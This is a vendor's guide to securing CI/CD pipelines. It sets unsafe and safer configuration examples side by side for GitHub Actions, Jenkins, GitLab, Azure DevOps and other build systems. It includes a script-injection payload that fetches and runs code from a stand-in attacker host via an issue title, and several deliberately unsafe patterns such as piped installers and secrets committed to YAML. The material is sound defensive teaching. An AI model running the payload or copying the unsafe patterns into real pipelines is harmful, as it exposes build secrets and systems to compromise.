Product

Overview

How it works Watch it work All 35 features Screenshots How ForgeRepo™ is secured

Keep bad packages out

Malware scanning Typosquat detection Dependency confusion protection Cooling off new releases Allow lists and block lists

When something goes wrong

Kill switch Who has it Lockdown and degraded modes Vulnerability monitoring

Developers and approvals

Requests and auto approve Check, walk and review Waivers Dry run
Formats

Languages

Private npm registry PyPI proxy and private index Private NuGet feed and proxy Maven repository proxy RubyGems mirror Composer and Packagist proxy

Apple, containers and Linux

CocoaPods CDN mirror Swift package registry Docker registry mirror RPM mirror for dnf and yum APT mirror for Debian and Ubuntu

Use it as

An npm firewall Artifacts, SBOMs and lifecycle More than one node SSO, roles and allow lists
Learn

Guides

Learn secure development Secure coding Secure pipelines Unsafe vs safe Security and development

Supply chain

Supply chain attacks, 2016 to 2026 Software supply chain security
Compare Side by side, all four ForgeRepo™ vs JFrog ForgeRepo™ vs Sonatype ForgeRepo™ vs Cloudsmith
Docs

Start

Getting started Download All documentation Questions

For developers

npm setup pip setup docker login Push a Docker image CI basics

For administrators

First setup Rules and their order Six incidents, walked through Backup and upgrade
Pricing Install it

Guide for platform, DevOps and developers

The build server is production

A pipeline holds the keys to your cloud, your registries and your signing identity, and it runs code from every branch and every dependency. Attackers know this: compromising one popular build step reaches thousands of companies at once. This guide covers the unsafe patterns and the safer ones, per platform, mapped to the OWASP CI/CD risks.

A rack of build servers labeled Jenkins, GitHub Actions, GitLab CI, Azure DevOps, CircleCI and TeamCity, under the pipeline stages commit, build, test, SAST, package, sign and deploy, with dependencies arriving from public registries through a registry firewall and signed artifacts leavingcommitbuildtestSASTpackagesigndeployevery change takes the same path, on every build serverJenkinsGitHub ActionsGitLab CIAzure DevOpsCircleCITeamCitypublic registriesnpm, PyPI, Maven, Docker Hubregistryfirewallchecked, cached,recordeddependenciessigned artifact+ provenance
Whatever the build server, the same stages apply, dependencies should arrive through one checked gate, and what leaves should be signed and traceable to its source.

The OWASP Top 10 CI/CD Security Risks

The OWASP Top 10 CI/CD Security Risks list is the best single map of how pipelines get attacked. Each row below links to the OWASP write up and to the part of this guide that deals with it.

RiskWhat it looks likeFirst fixes
CICD-SEC-1 Insufficient Flow ControlOne person can push code that reaches production with no second pair of eyes.Branch protection, required reviews, environment approvals. Checklist
CICD-SEC-2 Inadequate Identity and Access ManagementStale accounts, shared admin logins, everyone is admin on Jenkins.SSO, least privilege, regular access reviews.
CICD-SEC-3 Dependency Chain AbuseTyposquats, dependency confusion, hijacked packages installed by the build.Lockfiles, a registry firewall, reserved names. Dependencies
CICD-SEC-4 Poisoned Pipeline ExecutionA pull request changes the pipeline file or a script it runs, and the build executes it with secrets.No secrets for untrusted code, pull_request not pull_request_target. GitHub Actions
CICD-SEC-5 Insufficient PBACEvery job can reach every secret, every network and the host.Scoped tokens, per job permissions, isolated runners. Runners
CICD-SEC-6 Insufficient Credential HygieneLong lived keys in variables, secrets printed in logs or baked into images.OIDC, masking, BuildKit secrets. Secrets and OIDC
CICD-SEC-7 Insecure System ConfigurationUnpatched Jenkins or TeamCity on the internet, builds on the controller.Patch, restrict, no executors on the controller. Jenkins
CICD-SEC-8 Ungoverned Usage of 3rd Party ServicesUnreviewed marketplace actions, orbs and apps with write access to every repository.Allow lists, pin to SHA, review app permissions.
CICD-SEC-9 Improper Artifact Integrity ValidationDeploying whatever is in the bucket, with no proof of where it came from.Provenance and signatures, verified at deploy. Provenance
CICD-SEC-10 Insufficient Logging and VisibilityNo record of who changed a pipeline, approved a deploy or pulled a package.Audit logs to a SIEM, download records per token.

GitHub Actions

CICD-SEC-4CICD-SEC-5CICD-SEC-6CICD-SEC-8Scorecard: Dangerous-Workflow, Token-Permissions, Pinned-Dependencies

Most GitHub Actions compromises come from five patterns. In March 2025 the popular tj-actions/changed-files action was compromised and its version tags moved to a commit that dumped secrets into build logs (CVE-2025-30066). Every workflow that referenced it by tag ran the malicious code; workflows pinned to a commit SHA did not.

1. pull_request_target running the pull request's code

pull_request_target runs in the context of the base repository: it has secrets and a token that can write. That is safe only while it never executes code from the pull request. Checking out the head and running npm install or a test script hands both to whoever opened the pull request.

UnsafeGitHub Actions
on: pull_request_target        # secrets and a write token, even for forks
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # the fork's code
      - run: npm install && npm test                      # runs it
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

A "pwn request". The fork controls package.json scripts and tests, so it controls the job and its secrets.

SaferGitHub Actions
on: pull_request               # forks get a read only token, no secrets
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: npm ci && npm test

Untrusted code runs without secrets. If you must label or comment, do it in a separate workflow_run job that reads results as data and never executes them.

2. Untrusted text inside run:

Expressions like ${{ github.event.issue.title }} are pasted into the script before the shell sees it. Titles, branch names, commit messages and PR bodies are all attacker controlled.

UnsafeGitHub Actions
on: issues
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - run: echo "New issue: ${{ github.event.issue.title }}"
# title:  "; curl -sSfL https://evil.example/x | sh; echo "

Script injection. The title becomes shell code.

SaferGitHub Actions
on: issues
permissions: {}
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - run: echo "New issue: $TITLE"
        env:
          TITLE: ${{ github.event.issue.title }}

Pass it through an environment variable and quote it. The shell treats it as data.

3. Third party actions by tag

Unsafe: a workflow uses a third party action by a mutable version tag that an attacker moves to a malicious commitUNSAFEuses: org/setup-tool@v4a413f1c07e66v4 (was)v4 nowretaggedA tag can be moved to any commit, even a malicious one
Safer: a workflow pins a third party action to a full commit SHA, so moving a tag changes nothingSAFERuses: org/setup-tool@3f1c9e…a42b # v4.2.1a413f1c07d90pinnedupdates arrive as reviewed pull requestsA full commit SHA can only ever mean one thing
UnsafeGitHub Actions
steps:
  - uses: some-org/lint-action@v2      # a tag: can be moved
  - uses: other-org/deploy@main        # a branch: moves every push

Whoever controls those repositories, or steals a maintainer token, controls your job.

SaferGitHub Actions
steps:
  # full 40 character commit SHA, with the version as a comment
  - uses: some-org/lint-action@5c7c2a1f0b9e4d3a8f6e2b1c0d9e8f7a6b5c4d3e # v2.3.1
  - uses: other-org/deploy@9b8a7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b # v1.4.0

The SHAs above are illustrations: take the real one from the release you reviewed. Dependabot and Renovate update pinned SHAs as normal pull requests. An org level allow list of actions limits what can be used at all.

4. The GITHUB_TOKEN can do too much

UnsafeGitHub Actions
permissions: write-all     # or no block at all, with a
                           # permissive organization default
jobs:
  build: ...
  release: ...

Every step in every job can push code, change releases and edit issues.

SaferGitHub Actions
permissions:
  contents: read           # the default for every job
jobs:
  build: ...
  release:
    permissions:
      contents: write      # only the job that needs it

Set the organization default to read only too, and disable "Allow GitHub Actions to create and approve pull requests" unless you need it.

5. Self hosted runners on public repositories

GitHub's own guidance is to use self hosted runners only with private repositories: on a public one, anyone who can open a pull request can get code onto the machine, and a persistent runner keeps whatever they left behind. Use GitHub hosted runners for public code, require approval for workflows from outside contributors, and make self hosted runners ephemeral. See the GitHub Actions secure use reference and the GitHub Security Lab write up on preventing pwn requests.

Jenkins

CICD-SEC-2CICD-SEC-5CICD-SEC-6CICD-SEC-7

Jenkins gives you complete control, which includes complete control over getting it wrong. The controller holds every credential and its configuration, so anything that runs on it effectively owns all of them.

  • No builds on the controller. Set the built in node to 0 executors and run builds on agents, see controller isolation.
  • Keep the Groovy sandbox on and treat script approval requests as security reviews. Approving signatures such as java.lang.Runtime exec or getClass hands out code execution on the controller.
  • Fewer plugins. Each plugin is code on the controller with access to everything. Remove unused ones, update weekly, and watch the Jenkins security advisories.
  • Credentials binding with single quotes. Let the shell expand the secret, not Groovy, so it stays out of the command line and is masked in the log.
  • Real authorization. SSO, matrix or role based permissions, no anonymous read, and CSRF protection left on.
  • Trust settings for forks. In multibranch jobs, only build Jenkinsfile changes from users with write access.
  • Ephemeral agents, for example one Kubernetes pod per build, so no job inherits another's workspace.
UnsafeJenkinsfile
pipeline {
  agent any                       // may land on the controller
  stages {
    stage('Publish') {
      steps {
        withCredentials([usernamePassword(credentialsId: 'repo',
            usernameVariable: 'U', passwordVariable: 'P')]) {
          // double quotes: Groovy interpolates the secret into the
          // command line, visible in process lists
          sh "curl -u ${U}:${P} -T app.jar https://repo.example.com/"
        }
      }
    }
  }
}

Jenkins itself warns about this: "A secret was passed to sh using Groovy String interpolation, which is insecure."

SaferJenkinsfile
pipeline {
  agent { label 'linux-build' }   // a dedicated agent, never the controller
  options { timeout(time: 30, unit: 'MINUTES') }
  stages {
    stage('Publish') {
      when { branch 'main' }
      steps {
        withCredentials([usernamePassword(credentialsId: 'repo-publish',
            usernameVariable: 'U', passwordVariable: 'P')]) {
          // single quotes: the shell reads the variables, Jenkins masks them
          sh 'curl --fail -u "$U:$P" -T app.jar https://repo.example.com/'
        }
      }
    }
  }
}

A labeled agent, a narrowly scoped credential, publish only from main, and the secret never passes through Groovy.

Reference: Securing Jenkins and Using credentials.

GitLab CI

CICD-SEC-4CICD-SEC-6CICD-SEC-8
  • Protected variables on protected branches. Deploy credentials are only exposed to pipelines on protected branches and tags, and masked in logs.
  • ID tokens instead of cloud keys. id_tokens: gives each job a signed JWT to exchange with AWS, Azure, GCP or Vault. See OIDC ID token authentication.
  • Pin includes. include: project: with a ref: that is a commit SHA or a protected tag, not a remote URL or a moving branch.
  • Separate runners by trust. Protected runners for deploy jobs, and no privileged Docker in Docker for merge requests from forks.
  • Limit the job token. Keep the CI_JOB_TOKEN allow list to the projects that really need access.
Unsafe.gitlab-ci.yml
include:
  - remote: https://raw.githubusercontent.com/someone/templates/main/deploy.yml
variables:
  AWS_SECRET_ACCESS_KEY: "wJalrXUtnFEMI/K7MDENG/bPxRfiCY..."  # in the repo
deploy:
  image: alpine:latest
  script:
    - apk add curl && curl -sL https://get.example.dev | sh
    - ./deploy.sh

Someone else's template on a moving branch, a key in the repository, a floating image and a piped installer. Four ways in.

Safer.gitlab-ci.yml
include:
  - project: platform/ci-templates
    ref: 4f7a1c9e2b3d5f6a7b8c9d0e1f2a3b4c5d6e7f80   # reviewed commit
    file: /deploy.yml
deploy:
  image: registry.example.com/ci/deployer@sha256:9c1d...  # pinned digest
  environment: production
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
  id_tokens:
    AWS_ID_TOKEN:
      aud: https://gitlab.example.com
  script:
    - ./deploy.sh   # exchanges $AWS_ID_TOKEN for a short lived role

Templates from a project you control at a fixed commit, a pinned image, deploys only from the default branch, and no stored cloud key.

Azure DevOps

CICD-SEC-1CICD-SEC-5CICD-SEC-6
  • Workload identity federation for Azure service connections, so there is no client secret to leak or expire. See connect to Azure.
  • Approvals and checks on environments and service connections, so a YAML edit alone cannot deploy to production.
  • Limit job authorization scope to the current project, and turn on protection of repository access in YAML pipelines.
  • Forks: do not make secrets available to builds of forks, and require a team member's comment before building them.
  • Secret variables in variable groups linked to Key Vault, never plain variables in the YAML.
Unsafeazure-pipelines.yml
trigger: ['*']
pool: { vmImage: ubuntu-latest }
variables:
  ARM_CLIENT_SECRET: 'q8Z~Xk2...'      # service principal secret in YAML
steps:
  - script: |
      az login --service-principal -u $(ARM_CLIENT_ID) \
        -p $(ARM_CLIENT_SECRET) --tenant $(TENANT_ID)
      ./deploy.sh

Every branch deploys, and the secret is in the repository for anyone with read access.

Saferazure-pipelines.yml
trigger: [main]
pool: { vmImage: ubuntu-latest }
stages:
  - stage: deploy
    jobs:
      - deployment: web
        environment: production        # approvals and checks live here
        strategy:
          runOnce:
            deploy:
              steps:
                - checkout: self
                - task: AzureCLI@2
                  inputs:
                    azureSubscription: prod-wif   # workload identity federation
                    scriptType: bash
                    scriptLocation: inlineScript
                    inlineScript: ./deploy.sh

Deploys only from main, through an environment with approvals, using a federated service connection with no secret.

Reference: Securing Azure Pipelines.

CircleCI

CICD-SEC-6CICD-SEC-8
  • Contexts with restrictions to security groups or projects, so only the right pipelines see production secrets.
  • OIDC tokens for AWS, GCP and others instead of stored keys. See OpenID Connect tokens.
  • Forked pull requests: leave "pass secrets to builds from forked pull requests" off.
  • Orbs are third party code. Pin exact versions, and allow only certified or reviewed orbs.
  • Plan for a provider breach. In January 2023 CircleCI asked every customer to rotate every secret stored with it. Short lived credentials make that a non event.

Reference: CircleCI security recommendations.

TeamCity and Bamboo

CICD-SEC-2CICD-SEC-7
  • Patch the server quickly. TeamCity authentication bypasses CVE-2023-42793 and CVE-2024-27198 were exploited in the wild within days of disclosure.
  • Keep it off the internet, behind SSO or a VPN, and never run build agents on the server machine. See TeamCity security notes.
  • Use password parameters and secure values (TeamCity tokens, Bamboo shared credentials) so secrets are masked, and store settings as code for review.
  • Agent pools per trust level, so a project cannot schedule onto the agents that deploy production.
  • Bamboo Server is out of support since February 2024. If you still run it, move to Data Center or another platform.

Dependencies in the build: lockfiles and a registry firewall

CICD-SEC-3A03:2025 Software Supply Chain FailuresSSDF PW.4

The build installs more third party code than anything else in the company, with the most privileges. Three rules close most of the gap: install exactly what the lockfile says, get it from a registry you control, and never pipe a script from the internet into a shell.

Unsafe: a build pulls packages straight from the public registry, including typosquats, malware and brand new releasesUNSAFEpublicregistryCI buildnpm installtyposquatmalware2 hours oldAnything published is one install away from the build
Safer: packages pass a registry firewall that checks age, scans them and applies an allow list, and blocks a bad oneSAFERpublicregistryCI buildnpm installregistry firewallagescannedallowedOnly checked, approved versions reach the build
UnsafeShell (CI)
npm install                        # resolves ranges, may rewrite the lockfile
pip install -r requirements.txt    # unpinned, newest wins
docker pull node:latest            # whatever latest means today
# all straight from the public internet

The build fetches whatever was published a minute ago, including a malicious release nobody has spotted yet.

SaferShell (CI)
# .npmrc in the repository
#   registry=https://packages.example.com/
#   //packages.example.com/:_authToken=${NPM_TOKEN}
npm ci                             # lockfile only, fails if it disagrees
pip install --index-url https://packages.example.com/pypi/simple/ \
  --require-hashes -r requirements.txt
docker pull packages.example.com/library/node:24-slim@sha256:...

Exact versions, hash checked, through a firewall that applies age, malware, vulnerability and name checks, and records which pipeline pulled what.

UnsafeShell
curl -sL https://get.example-tool.dev | bash

Runs whatever the server returns today, as the build user, with no record of what it was.

SaferShell
VER=1.8.2
F="tool_${VER}_linux_amd64.tar.gz"
curl -fsSLO "https://github.com/example/tool/releases/download/v${VER}/${F}"
echo "<sha256 from the release page>  ${F}" | sha256sum -c -
tar xzf "${F}" tool

A fixed version, verified against a known hash. Better still, bake tools into a pinned build image.

ForgeRepo™ is a free, self hosted registry firewall for npm, PyPI, Docker, NuGet, Maven and more. Pipelines use their own scoped tokens, new releases wait out a cooling off period, files are scanned, internal names are reserved, and a kill switch pulls a bad release from every build at once. Setup takes a few minutes: getting started.

Secrets: out of logs, out of images, and short lived

CICD-SEC-6SLSA Build L3: secrets isolated from user steps

The best CI secret is the one that does not exist. Every major platform can now issue a signed OIDC token per job, which cloud providers accept in exchange for credentials that expire in minutes. Trust is tied to a specific repository, branch or environment, so a stolen token is worth little and there is no key to rotate.

Unsafe: a long lived cloud access key pasted into a CI job and printed into the job logUNSAFEdeploy:env:AWS_KEY: AKIA2E…run: ./ship.shset -xjob log+ KEY=AKIA2E…stored for yearsprinted in the logA long lived cloud key sits in the job and ends up in the log
Safer: the CI job exchanges a short lived OIDC identity token for a cloud role, with no stored secretSAFERCI jobno secretOIDC tokensigned by CIrepo, branch,environmentcloud roledeploy-prodexpires in minutestrust tied to one repoThe job trades a signed identity token for short lived access
UnsafeGitHub Actions
jobs:
  deploy:
    runs-on: ubuntu-latest
    env:
      AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
    steps:
      - run: env | sort          # "debugging"
      - run: aws s3 sync dist/ s3://prod-site --delete

A key that never expires, in every step's environment. Masking catches the exact string, not a base64 or split copy of it.

SaferGitHub Actions
permissions:
  id-token: write              # lets the job request an OIDC token
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production    # reviewers and branch rules
    steps:
      - uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
        with:
          role-to-assume: arn:aws:iam::123456789012:role/deploy-site
          aws-region: us-east-1
      - run: aws s3 sync dist/ s3://prod-site --delete

The role's trust policy accepts only repo:org/site:environment:production. Nothing is stored, and the credentials expire on their own.

UnsafeDockerfile
ARG NPM_TOKEN
RUN echo "//registry.npmjs.org/:_authToken=${NPM_TOKEN}" > .npmrc \
 && npm ci && rm .npmrc
# the token is in the image history and an earlier layer

Build arguments and deleted files stay in the image. Anyone who can pull it can read the token.

SaferDockerfile
# syntax=docker/dockerfile:1
RUN --mount=type=secret,id=npmrc,target=/root/.npmrc npm ci
# docker build --secret id=npmrc,src=$HOME/.npmrc .

A BuildKit secret mount exists only for that one step and is never written to a layer.

References: GitHub OIDC, GitLab ID tokens, Azure DevOps workload identity federation, CircleCI OIDC.

Runners and agents: ephemeral and isolated

CICD-SEC-5CICD-SEC-7SLSA Build L3: isolated builds

A runner that lives for months collects caches, credentials and tools from every job that ran on it. One malicious job can leave something behind for the next, for example a modified compiler or a poisoned cache. The fix is the same on every platform: one fresh machine or container per job, destroyed afterwards.

  • GitHub: hosted runners, or self hosted runners registered with --ephemeral, or autoscaled with Actions Runner Controller.
  • GitLab: Docker or Kubernetes executors that start a clean container per job; separate runners for protected branches.
  • Jenkins: the Kubernetes or cloud agent plugins, one pod or VM per build.
  • Everywhere: no Docker socket mounted into jobs, no privileged mode for untrusted code, and egress limited to what the build needs, such as your registry.
UnsafeShell (runner setup)
# one long lived VM, registered once, shared by every repository
./config.sh --url https://github.com/org --token $REG_TOKEN
./run.sh
# jobs mount /var/run/docker.sock "for speed"

Every job can see what the last one left, and the Docker socket is root on the host.

SaferShell (runner setup)
# a fresh VM or pod per job, gone when the job ends
./config.sh --url https://github.com/org --token $REG_TOKEN \
  --ephemeral --runnergroup private-builds --labels linux,x64
./run.sh
# builds images with rootless BuildKit, no socket mount

The runner takes exactly one job, then unregisters. Groups keep it to the repositories allowed to use it.

Provenance, SLSA and signing

CICD-SEC-9A08:2025 Integrity FailuresSLSA v1.2 Build trackSSDF PS.2, PS.3

Provenance is a signed statement of how an artifact was built: which source commit, which workflow, which builder. Signing ties the artifact to an identity. Together they let a deploy step, or a customer, refuse anything that did not come from your pipeline. SLSA build levels describes the levels, and Sigstore makes the signing free and keyless.

SLSA build levelWhat it meansHow you get there
Build L0No guarantees.A laptop build, or a CI job with no provenance.
Build L1Provenance exists, showing how the package was built.The build generates a provenance document with each artifact.
Build L2A hosted build platform generates and signs the provenance.GitHub artifact attestations, or npm --provenance from a hosted CI runner.
Build L3A hardened platform: runs cannot influence each other, and secrets used to sign are out of reach of user steps.Ephemeral isolated runners, and provenance generated outside the job's own steps, for example a reusable workflow.
UnsafeShell (deploy)
# whatever is in the bucket or registry gets deployed
aws s3 cp s3://builds/app-latest.tgz .
kubectl set image deploy/app app=registry.example.com/app:latest

Anyone who can write to the bucket or push a tag decides what runs in production.

SaferShell (release and deploy)
# in the release job (keyless, identity from the CI OIDC token)
cosign sign --yes registry.example.com/app@sha256:4d1f...

# at deploy, refuse anything not signed by that workflow
cosign verify registry.example.com/app@sha256:4d1f... \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  --certificate-identity-regexp '^https://github.com/org/app/\.github/workflows/release\.yml@refs/tags/v'
kubectl set image deploy/app app=registry.example.com/app@sha256:4d1f...

Deploy by digest, verified against the workflow identity that built it. Admission controllers such as the Sigstore policy controller or Kyverno can enforce this cluster wide.

UnsafeGitHub Actions
- run: npm publish            # with a long lived NPM_TOKEN
  env:
    NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

A stolen token publishes from anywhere, and consumers cannot tell the difference.

SaferGitHub Actions
permissions:
  id-token: write
  attestations: write
  contents: read
steps:
  - run: npm ci && npm run build && npm pack
  - uses: actions/attest-build-provenance@4d101475d8b20a2381f78447822ac1eab6504dd8 # v4.2.2
    with:
      subject-path: '*.tgz'
  - run: npm publish --provenance   # npm trusted publishing via OIDC
# verify: gh attestation verify pkg-1.2.3.tgz -R org/pkg

A signed provenance attestation for the tarball, and a publish that proves which repository and workflow it came from.

On the consuming side, ForgeRepo™ can check Sigstore provenance on packages as they come in, and produce an SBOM of what each application actually pulled. References: GitHub artifact attestations, npm provenance, cosign signing.

A pipeline hardening checklist

One page to take into a review. Measure public repositories with OpenSSF Scorecard, which checks several of these automatically, and use the OWASP CI/CD Security Cheat Sheet for more.

Flow and access

  • Branch protection and required review on the default branch.
  • Pipeline files need review from code owners.
  • Production deploys go through an environment with approvals.
  • SSO for the CI system, reviewed quarterly.

Credentials

  • OIDC to clouds, no long lived keys.
  • Tokens scoped per job and per environment.
  • No set -x, env or printenv near secrets.
  • Secrets never in images or artifacts.

Dependencies

  • Lockfile installs: npm ci, --frozen-lockfile, --require-hashes.
  • All packages and images through a registry firewall.
  • Actions, orbs and templates pinned to a SHA.
  • Base images pinned by digest.

Build platform

  • Ephemeral runners and agents.
  • No builds on the Jenkins controller or TeamCity server.
  • Untrusted pull requests run without secrets.
  • Servers patched and off the public internet.

Scanning

  • SAST and secret scanning on every pull request, for example with Git Code Review.
  • Dependency and image scanning before release.
  • Findings routed to the owning team with an SLA.

Integrity and visibility

  • Provenance for every release artifact.
  • Signatures verified at deploy.
  • CI audit logs shipped to your SIEM.
  • You can answer "which builds pulled this package?" in minutes.

Every package your pipelines pull, checked

Point npm, pip, docker, dotnet and Maven in CI at ForgeRepo™ and every install goes through one gate, with a record of which pipeline pulled what. Free and self hosted.